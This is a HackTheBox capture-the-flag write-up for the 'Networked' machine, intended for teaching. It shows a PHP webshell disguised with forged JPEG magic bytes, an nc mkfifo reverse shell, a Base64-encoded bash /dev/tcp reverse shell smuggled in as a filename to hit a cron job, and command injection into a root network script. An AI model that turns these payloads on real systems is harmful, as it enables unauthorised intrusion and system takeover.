Overview

Networked is an easy HackTheBox Linux machine built around a photo upload application. A leaked source backup reveals the upload validation logic relies on MIME type detection, which is bypassed by forging JPEG magic bytes ahead of a PHP webshell. A root-run cron job that “cleans” invalid filenames turns out to pass those filenames unsanitised into a shell exec() call, letting a carefully crafted filename become a command. Root comes from a sudo-permitted network configuration script that reads user-supplied interface variables into a config file without escaping them, allowing a space-separated value to inject an arbitrary command.

Attack Chain

  • Scan the target and identify SSH, HTTP, and HTTPS
  • Fuzz the web server and find a /backup endpoint hosting backup.tar
  • Download and extract the archive to review the application’s PHP source
  • Trace the upload validation logic through upload.php and lib.php, finding it relies on mime_content_type() and a file extension check
  • Forge JPEG magic bytes ahead of a PHP webshell to bypass both checks
  • Upload the payload and locate it via the /photos.php gallery page
  • Trigger the webshell and get a reverse shell as apache
  • Find two readable files in user guly’s home directory: a crontab and a script it runs
  • Determine the script removes files with irregular names using an unsanitised exec() call
  • Create a file whose name is itself a Base64-decoding command injection payload
  • Wait for the cron job to run and catch a reverse shell as guly
  • Read the user flag
  • Find a sudo-permitted script, changename.sh, that writes user-supplied network interface variables into a config file
  • Discover that a value containing a space lets us inject an arbitrary command into that file
  • Trigger the script so it executes our injected command via /sbin/ifup
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.44.19; export NAME=NETWORKED; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80,443

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Finding and Extracting a Backup

The landing page doesn’t reveal anything.

landing page reveals nothing

We fuzz the site.

dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -x 403

We now have more endpoints to explore.

dirsearch finds more endpoints

We navigate to /backup and find a backup.tar file.

finding backup.tar

We download it.

wget http://10.129.44.19/backup/backup.tar

downloading backup.tar

And extract it.

tar -xvf backup.tar

We see several .php files.

extracted PHP source files

Reviewing the Upload Validation

We look at upload.php, which uses a function called check_file_type to verify the image file.

upload.php uses check_file_type

We find that function in lib.php. check_file_type calls another function, file_mime_type.

lib.php reveals check_file_type calls file_mime_type

file_mime_type checks whether the upload is an image by calling mime_content_type to get the MIME type.

file_mime_type checks the MIME type

upload.php also checks the file extension against .jpg, .png, .gif, or .jpeg.

upload.php checks the file extension

So we can upload a webshell with the corresponding image magic bytes to bypass both checks at once.


Foothold

Forging Magic Bytes

We add JPEG magic bytes, FF D8 FF DB, to a file with xxd.

echo 'FF D8 FF DB' | xxd -p -r > webshell_mime.php.jpg

Our file now contains the JPEG magic bytes.

file containing the JPEG magic bytes

We append our webshell’s contents.

cat webshell.php >> webshell_mime.php.jpg

Our payload now contains both the magic bytes and the webshell.

webshell combined with magic bytes

We go to /upload.php and select the payload.

selecting the payload on the upload page

The upload succeeds.

upload succeeds

Triggering the Webshell

We navigate to /photos.php. Our payload shows up but doesn’t display as an image. Right-clicking and selecting Open Image in New Tab:

opening the uploaded file in a new tab

We have a webshell.

webshell confirmed

We start a penelope listener on port 443 and use an nc mkfifo reverse shell payload from revshells.com.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.115 443 >/tmp/f

sending the reverse shell payload

We have a shell as apache.

shell as apache


Lateral Movement

Finding the Cron Job

We investigate /home and find two files in user guly’s directory that we can read.

readable files in guly’s home directory

We check crontab.guly first, and see it runs check_attack.php every 3 minutes.

crontab.guly runs check_attack.php

We look at check_attack.php. The script looks for irregular filenames, and removes invalid files with rm via PHP’s exec() function. The filename is read into a $value variable without any sanitisation, meaning we can inject code through it.

check_attack.php’s unsanitised exec() call

Command Injection via Filename

We create a Bash reverse shell payload, since we’re issuing system commands, and Base64-encode it since a / in the filename would interfere with using it as a command.

We start a penelope listener on port 4545. Our reverse shell payload:

echo -n 'bash -c "bash -i >/dev/tcp/10.10.15.115/4545 0>&1"' | base64

We use touch to create a file whose name is the system command we want injected into the script’s exec() call:

touch -- ';echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTUuMTE1LzQ1NDUgMD4mMSI= | base64 -d | bash'

We make sure to save the file in /var/www/html/uploads.

creating the malicious filename with touch

After a few minutes, we have a shell as guly.

shell as guly

We read the user flag.

user flag


Privilege Escalation

Analysing the Network Script

We check our privileges with sudo -l and find we can run /usr/local/sbin/changename.sh as sudo.

sudo -l shows changename.sh

We review the script. We can only execute and read it, not modify it. It creates a network interface called guly0, saving its configuration to /etc/sysconfig/network-scripts/ifcfg-guly. It prompts for the variables NAME, PROXY_METHOD, BROWSER_ONLY, and BOOTPROTO, and a loop writes each user-supplied variable into that same config file. At the end, it runs /sbin/ifup guly0, which reads and applies the config.

reviewing changename.sh

The problem is that setting a variable’s value with a space in it allows arbitrary system commands to run. For example:

example of space-separated command injection

Exploiting the Injection

To exploit this, we run the script and, when prompted for the first variable, enter a string, a space, and a command, /bin/bash. The other prompts don’t matter. Once saved, running /sbin/ifup guly0 executes our injected command from the config file.

running the exploit with Test /bin/bash

We read the root flag.

root flag


Key Takeaways

Networked chains three separate instances of trusting untrusted input. The upload filter trusted a file’s MIME type and extension rather than its actual content, both of which are attacker-controlled once magic bytes are understood. The cron-run cleanup script trusted a filename to never contain shell metacharacters, when filenames are exactly as attacker-controlled as any other user input. And the privileged network configuration script trusted user-supplied interface variables to never contain a space, when that space was all it took to smuggle an arbitrary command into a file the script would later execute as root. None of these are exotic bugs, they’re all cases of a boundary between trusted and untrusted data quietly disappearing.